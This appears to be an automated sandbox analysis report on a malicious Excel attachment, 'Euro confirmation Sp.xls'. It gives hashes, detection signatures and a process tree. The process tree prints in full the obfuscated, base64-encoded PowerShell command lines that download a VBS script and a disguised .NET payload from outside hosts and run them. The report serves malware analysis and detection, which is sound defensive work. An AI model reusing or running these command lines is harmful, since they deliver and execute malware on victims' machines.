Edit tour
Windows
Analysis Report
Euro confirmation Sp.xls
Overview
General Information
| Sample name: | Euro confirmation Sp.xls |
| Analysis ID: | 1574071 |
| MD5: | ee0c6a4698481c48bbc55b9a33589a54 |
| SHA1: | 2abeddd26326a6dd0511c67069b0b21837e047b1 |
| SHA256: | 65e15997e0ceb72609fc8a3c0cc0453ca08d98d16485163863325fba17bda28a |
| Tags: | xlsuser-abuse_ch |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected obfuscated html page
Connects to a pastebin service (likely for C&C)
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Installs new ROOT certificates
Machine Learning detection for dropped file
Machine Learning detection for sample
Microsoft Office drops suspicious files
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Compiles C# or VB.Net code
Contains functionality to detect virtual machines (SLDT)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 3588 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
mshta.exe (PID: 3880 cmdline: C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) 
cmd.exe (PID: 3980 cmdline: "C:\Window s\system32 \cmd.exe" "/C POwErs HELL -EX ByPass -NoP -w 1 -c DeviCECRE DenTIalDeP lOyMENT.eX E ; INvO ke-ExPress iON($(INvO KE-expReSs Ion('[SYST eM.teXt.En codInG]'+[ ChaR]58+[C haR]0X3a+' UTF8.GEtSt RInG([SYst Em.cONVErT ]'+[cHaR]0 x3a+[chaR] 58+'fROMBA se64StrINg ('+[chAr]3 4+'JHhEICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gID0gICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgY WRELXRZcGU gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLW1lT UJFcmRFZkl uaXRpb24gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJ1tEbGx JbXBvcnQoI nVybG1vbi5 kbGwiLCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBDaGFyU2V 0ID0gQ2hhc lNldC5Vbml jb2RlKV1wd WJsaWMgc3R hdGljIGV4d GVybiBJbnR QdHIgVVJMR G93bmxvYWR Ub0ZpbGUoS W50UHRyICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIERRSixzd HJpbmcgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gUURsTWx0W mRDSixzdHJ pbmcgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgR G1oSUdKc01 4ZkMsdWlud CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBsLEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBDdmtnaEo pOycgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL U5BTWUgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIlNyZ3BDa mUiICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIC1 OYU1Fc1BBQ 0UgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgZUc gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLVBhc 3NUaHJ1OyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAkeEQ6O lVSTERvd25 sb2FkVG9Ga WxlKDAsImh 0dHA6Ly8yM y45NS4yMzU uMjkvOTAvd mVyeW5pY2V iZWF1dGlmd WxwaWN0dWV mb3JlbnRpc mVsaWZla2l kc2dpdmVub WViYWNrd2l 0aG5ldy50S UYiLCIkRW5 2OkFQUERBV EFcdmVyeW5 pY2ViZWF1d GlmdWxwaWN 0dWVmb3Jlb nRpcmVsaWZ la2lkc2dpd mVubWUudmJ TIiwwLDApO 3N0YVJ0LXN MRWVwKDMpO 0lOdk9rRS1 FeFByZVNTa W9uICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICI kRW5WOkFQU ERBVEFcdmV yeW5pY2ViZ WF1dGlmdWx waWN0dWVmb 3JlbnRpcmV saWZla2lkc 2dpdmVubWU udmJTIg==' +[CHaR]34+ '))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) 
powershell.exe (PID: 4004 cmdline: POwErsHELL -E X By Pass -NoP -w 1 - c De viCECREDen TIalDePlOy MENT.eXE ; INvOke- ExPressiON ($(INvOKE- expReSsIon ('[SYSTeM. teXt.Encod InG]'+[Cha R]58+[ChaR ]0X3a+'UTF 8.GEtStRIn G([SYstEm. cONVErT]'+ [cHaR]0x3a +[chaR]58+ 'fROMBAse6 4StrINg('+ [chAr]34+' JHhEICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgID 0gICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgYWRE LXRZcGUgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLW1lTUJF cmRFZkluaX Rpb24gICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg J1tEbGxJbX BvcnQoInVy bG1vbi5kbG wiLCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBD aGFyU2V0ID 0gQ2hhclNl dC5Vbmljb2 RlKV1wdWJs aWMgc3RhdG ljIGV4dGVy biBJbnRQdH IgVVJMRG93 bmxvYWRUb0 ZpbGUoSW50 UHRyICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIE RRSixzdHJp bmcgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgUU RsTWx0WmRD SixzdHJpbm cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgRG1o SUdKc014Zk MsdWludCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBsLEludF B0ciAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBD dmtnaEopOy cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLU5B TWUgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIl NyZ3BDamUi ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1OYU 1Fc1BBQ0Ug ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgZUcgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLVBhc3NU aHJ1OyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AkeEQ6OlVS TERvd25sb2 FkVG9GaWxl KDAsImh0dH A6Ly8yMy45 NS4yMzUuMj kvOTAvdmVy eW5pY2ViZW F1dGlmdWxw aWN0dWVmb3 JlbnRpcmVs aWZla2lkc2 dpdmVubWVi YWNrd2l0aG 5ldy50SUYi LCIkRW52Ok FQUERBVEFc dmVyeW5pY2 ViZWF1dGlm dWxwaWN0dW Vmb3JlbnRp cmVsaWZla2 lkc2dpdmVu bWUudmJTIi wwLDApO3N0 YVJ0LXNMRW VwKDMpO0lO dk9rRS1FeF ByZVNTaW9u ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICIkRW 5WOkFQUERB VEFcdmVyeW 5pY2ViZWF1 dGlmdWxwaW N0dWVmb3Jl bnRpcmVsaW Zla2lkc2dp dmVubWUudm JTIg=='+[C HaR]34+')) ')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) 
csc.exe (PID: 3144 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\vlwyfs wc\vlwyfsw c.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3164 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES9ECF.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\vlw yfswc\CSCD 4E4666864B 4048A31961 A99612757D .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) 
wscript.exe (PID: 3380 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\veryn icebeautif ulpictuefo rentirelif ekidsgiven me.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 2956 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $verilus = 'JGFwb3N0 b2xpY25lc3 MgPSAnaHR0 cHM6Ly9yZX MuY2xvdWRp bmFyeS5jb2 0vZHl0Zmx0 NjFuL2ltYW dlL3VwbG9h ZC92MTczMz EzNDk0Ny9i a2xweXNleW V1dDRpbXB3 NTBuMS5qcG cgJzskdmli cm9tZXRlcn MgPSBOZXct T2JqZWN0IF N5c3RlbS5O ZXQuV2ViQ2 xpZW50OyRz YW5nYXBlbn VtID0gJHZp YnJvbWV0ZX JzLkRvd25s b2FkRGF0YS gkYXBvc3Rv bGljbmVzcy k7JGhvcmlz bWFzY29wZS A9IFtTeXN0 ZW0uVGV4dC 5FbmNvZGlu Z106OlVURj guR2V0U3Ry aW5nKCRzYW 5nYXBlbnVt KTskSmFuaW 5lID0gJzw8 QkFTRTY0X1 NUQVJUPj4n OyR0cmlicm 9tc2Fsb2wg PSAnPDxCQV NFNjRfRU5E Pj4nOyRBcm FicyA9ICRo b3Jpc21hc2 NvcGUuSW5k ZXhPZigkSm FuaW5lKTsk cGx1cmlzcG lyYWwgPSAk aG9yaXNtYX Njb3BlLklu ZGV4T2YoJH RyaWJyb21z YWxvbCk7JE FyYWJzIC1n ZSAwIC1hbm QgJHBsdXJp c3BpcmFsIC 1ndCAkQXJh YnM7JEFyYW JzICs9ICRK YW5pbmUuTG VuZ3RoOyRk ZWNlcm5tZW 50ID0gJHBs dXJpc3Bpcm FsIC0gJEFy YWJzOyRhZm lyZSA9ICRo b3Jpc21hc2 NvcGUuU3Vi c3RyaW5nKC RBcmFicywg JGRlY2Vybm 1lbnQpOyR1 bmRyZXNzZW QgPSAtam9p biAoJGFmaX JlLlRvQ2hh ckFycmF5KC kgfCBGb3JF YWNoLU9iam VjdCB7ICRf IH0pWy0xLi 4tKCRhZmly ZS5MZW5ndG gpXTskR2Fz dG9uID0gW1 N5c3RlbS5D b252ZXJ0XT o6RnJvbUJh c2U2NFN0cm luZygkdW5k cmVzc2VkKT skY3V0aXRl cmVicmEgPS BbU3lzdGVt LlJlZmxlY3 Rpb24uQXNz ZW1ibHldOj pMb2FkKCRH YXN0b24pOy RhbGxhbnRv aWRlYSA9IF tkbmxpYi5J Ty5Ib21lXS 5HZXRNZXRo b2QoJ1ZBSS cpOyRhbGxh bnRvaWRlYS 5JbnZva2Uo JG51bGwsIE AoJzAvdnlp ZEIvci9lZS 5ldHNhcC8v OnNwdHRoJy wgJyRiaW9n cmFwaGVlcy csICckYmlv Z3JhcGhlZX MnLCAnJGJp b2dyYXBoZW VzJywgJ0Nh c1BvbCcsIC ckYmlvZ3Jh cGhlZXMnLC AnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnMScsJyRi aW9ncmFwaG VlcycpKTs= ';$spinisp icule = [S ystem.Text .Encoding] ::UTF8.Get String([Sy stem.Conve rt]::FromB ase64Strin g($verilus ));Invoke- Expression $spinispi cule MD5: A575A7610E5F003CC36DF39E07C4BA7D) - mshta.exe (PID: 2692 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - cmd.exe (PID: 364 cmdline:
"C:\Window s\system32 \cmd.exe" "/C POwErs HELL -EX ByPass -NoP -w 1 -c DeviCECRE DenTIalDeP lOyMENT.eX E ; INvO ke-ExPress iON($(INvO KE-expReSs Ion('[SYST eM.teXt.En codInG]'+[ ChaR]58+[C haR]0X3a+' UTF8.GEtSt RInG([SYst Em.cONVErT ]'+[cHaR]0 x3a+[chaR] 58+'fROMBA se64StrINg ('+[chAr]3 4+'JHhEICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gID0gICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgY WRELXRZcGU gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLW1lT UJFcmRFZkl uaXRpb24gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJ1tEbGx JbXBvcnQoI nVybG1vbi5 kbGwiLCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBDaGFyU2V 0ID0gQ2hhc lNldC5Vbml jb2RlKV1wd WJsaWMgc3R hdGljIGV4d GVybiBJbnR QdHIgVVJMR G93bmxvYWR Ub0ZpbGUoS W50UHRyICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIERRSixzd HJpbmcgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gUURsTWx0W mRDSixzdHJ pbmcgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgR G1oSUdKc01 4ZkMsdWlud CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBsLEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBDdmtnaEo pOycgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL U5BTWUgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIlNyZ3BDa mUiICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIC1 OYU1Fc1BBQ 0UgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgZUc gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLVBhc 3NUaHJ1OyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAkeEQ6O lVSTERvd25 sb2FkVG9Ga WxlKDAsImh 0dHA6Ly8yM y45NS4yMzU uMjkvOTAvd mVyeW5pY2V iZWF1dGlmd WxwaWN0dWV mb3JlbnRpc mVsaWZla2l kc2dpdmVub WViYWNrd2l 0aG5ldy50S UYiLCIkRW5 2OkFQUERBV EFcdmVyeW5 pY2ViZWF1d GlmdWxwaWN 0dWVmb3Jlb nRpcmVsaWZ la2lkc2dpd mVubWUudmJ TIiwwLDApO 3N0YVJ0LXN MRWVwKDMpO 0lOdk9rRS1 FeFByZVNTa W9uICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICI kRW5WOkFQU ERBVEFcdmV yeW5pY2ViZ WF1dGlmdWx waWN0dWVmb 3JlbnRpcmV saWZla2lkc 2dpdmVubWU udmJTIg==' +[CHaR]34+ '))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 1916 cmdline:
POwErsHELL -E X By Pass -NoP -w 1 - c De viCECREDen TIalDePlOy MENT.eXE ; INvOke- ExPressiON ($(INvOKE- expReSsIon ('[SYSTeM. teXt.Encod InG]'+[Cha R]58+[ChaR ]0X3a+'UTF 8.GEtStRIn G([SYstEm. cONVErT]'+ [cHaR]0x3a +[chaR]58+ 'fROMBAse6 4StrINg('+ [chAr]34+' JHhEICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgID 0gICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgYWRE LXRZcGUgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLW1lTUJF cmRFZkluaX Rpb24gICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg J1tEbGxJbX BvcnQoInVy bG1vbi5kbG wiLCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBD aGFyU2V0ID 0gQ2hhclNl dC5Vbmljb2 RlKV1wdWJs aWMgc3RhdG ljIGV4dGVy biBJbnRQdH IgVVJMRG93 bmxvYWRUb0 ZpbGUoSW50 UHRyICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIE RRSixzdHJp bmcgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgUU RsTWx0WmRD SixzdHJpbm cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgRG1o SUdKc014Zk MsdWludCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBsLEludF B0ciAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBD dmtnaEopOy cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLU5B TWUgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIl NyZ3BDamUi ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1OYU 1Fc1BBQ0Ug ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgZUcgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLVBhc3NU aHJ1OyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AkeEQ6OlVS TERvd25sb2 FkVG9GaWxl KDAsImh0dH A6Ly8yMy45 NS4yMzUuMj kvOTAvdmVy eW5pY2ViZW F1dGlmdWxw aWN0dWVmb3 JlbnRpcmVs aWZla2lkc2 dpdmVubWVi YWNrd2l0aG 5ldy50SUYi LCIkRW52Ok FQUERBVEFc dmVyeW5pY2 ViZWF1dGlm dWxwaWN0dW Vmb3JlbnRp cmVsaWZla2 lkc2dpdmVu bWUudmJTIi wwLDApO3N0 YVJ0LXNMRW VwKDMpO0lO dk9rRS1FeF ByZVNTaW9u ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICIkRW 5WOkFQUERB VEFcdmVyeW 5pY2ViZWF1 dGlmdWxwaW N0dWVmb3Jl bnRpcmVsaW Zla2lkc2dp dmVubWUudm JTIg=='+[C HaR]34+')) ')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 2748 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\5djzga yy\5djzgay y.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 2912 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESEC91.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\5dj zgayy\CSC7 60185DBFBB 46BF8363AB 3E3456F7D3 .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3704 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\veryn icebeautif ulpictuefo rentirelif ekidsgiven me.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 1732 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $verilus = 'JGFwb3N0 b2xpY25lc3 MgPSAnaHR0 cHM6Ly9yZX MuY2xvdWRp bmFyeS5jb2 0vZHl0Zmx0 NjFuL2ltYW dlL3VwbG9h ZC92MTczMz EzNDk0Ny9i a2xweXNleW V1dDRpbXB3 NTBuMS5qcG cgJzskdmli cm9tZXRlcn MgPSBOZXct T2JqZWN0IF N5c3RlbS5O ZXQuV2ViQ2 xpZW50OyRz YW5nYXBlbn VtID0gJHZp YnJvbWV0ZX JzLkRvd25s b2FkRGF0YS gkYXBvc3Rv bGljbmVzcy k7JGhvcmlz bWFzY29wZS A9IFtTeXN0 ZW0uVGV4dC 5FbmNvZGlu Z106OlVURj guR2V0U3Ry aW5nKCRzYW 5nYXBlbnVt KTskSmFuaW 5lID0gJzw8 QkFTRTY0X1 NUQVJUPj4n OyR0cmlicm 9tc2Fsb2wg PSAnPDxCQV NFNjRfRU5E Pj4nOyRBcm FicyA9ICRo b3Jpc21hc2 NvcGUuSW5k ZXhPZigkSm FuaW5lKTsk cGx1cmlzcG lyYWwgPSAk aG9yaXNtYX Njb3BlLklu ZGV4T2YoJH RyaWJyb21z YWxvbCk7JE FyYWJzIC1n ZSAwIC1hbm QgJHBsdXJp c3BpcmFsIC 1ndCAkQXJh YnM7JEFyYW JzICs9ICRK YW5pbmUuTG VuZ3RoOyRk ZWNlcm5tZW 50ID0gJHBs dXJpc3Bpcm FsIC0gJEFy YWJzOyRhZm lyZSA9ICRo b3Jpc21hc2 NvcGUuU3Vi c3RyaW5nKC RBcmFicywg JGRlY2Vybm 1lbnQpOyR1 bmRyZXNzZW QgPSAtam9p biAoJGFmaX JlLlRvQ2hh ckFycmF5KC kgfCBGb3JF YWNoLU9iam VjdCB7ICRf IH0pWy0xLi 4tKCRhZmly ZS5MZW5ndG gpXTskR2Fz dG9uID0gW1 N5c3RlbS5D b252ZXJ0XT o6RnJvbUJh c2U2NFN0cm luZygkdW5k cmVzc2VkKT skY3V0aXRl cmVicmEgPS BbU3lzdGVt LlJlZmxlY3 Rpb24uQXNz ZW1ibHldOj pMb2FkKCRH YXN0b24pOy RhbGxhbnRv aWRlYSA9IF tkbmxpYi5J Ty5Ib21lXS 5HZXRNZXRo b2QoJ1ZBSS cpOyRhbGxh bnRvaWRlYS 5JbnZva2Uo JG51bGwsIE AoJzAvdnlp ZEIvci9lZS 5ldHNhcC8v OnNwdHRoJy wgJyRiaW9n cmFwaGVlcy csICckYmlv Z3JhcGhlZX MnLCAnJGJp b2dyYXBoZW VzJywgJ0Nh c1BvbCcsIC ckYmlvZ3Jh cGhlZXMnLC AnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnMScsJyRi aW9ncmFwaG VlcycpKTs= ';$spinisp icule = [S ystem.Text .Encoding] ::UTF8.Get String([Sy stem.Conve rt]::FromB ase64Strin g($verilus ));Invoke- Expression $spinispi cule MD5: A575A7610E5F003CC36DF39E07C4BA7D)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||